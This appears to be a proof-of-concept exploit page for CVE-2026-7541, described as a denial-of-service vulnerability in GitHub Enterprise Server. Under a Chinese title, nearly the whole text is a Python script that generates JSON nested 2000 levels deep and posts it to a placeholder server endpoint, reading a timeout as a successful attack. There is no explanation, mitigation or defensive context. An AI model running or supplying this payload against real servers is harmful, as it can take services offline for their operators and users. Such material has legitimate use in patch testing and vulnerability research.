CVE-2026-7541 GitHub Enterprise Server 拒绝服务漏洞

import requests import json def generate_nested_json(depth): """Generate a deeply nested JSON payload.""" if depth == 0: return "value" return {"key": generate_nested_json(depth - 1)} def exploit(target_url): """Send the malicious payload to the target.""" # Create a payload with significant depth to trigger the DoS payload = generate_nested_json(2000) headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending payload to {target_url}") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"[+] Status Code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - possible successful DoS") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://target-enterprise-server/api/v3/endpoint" exploit(target)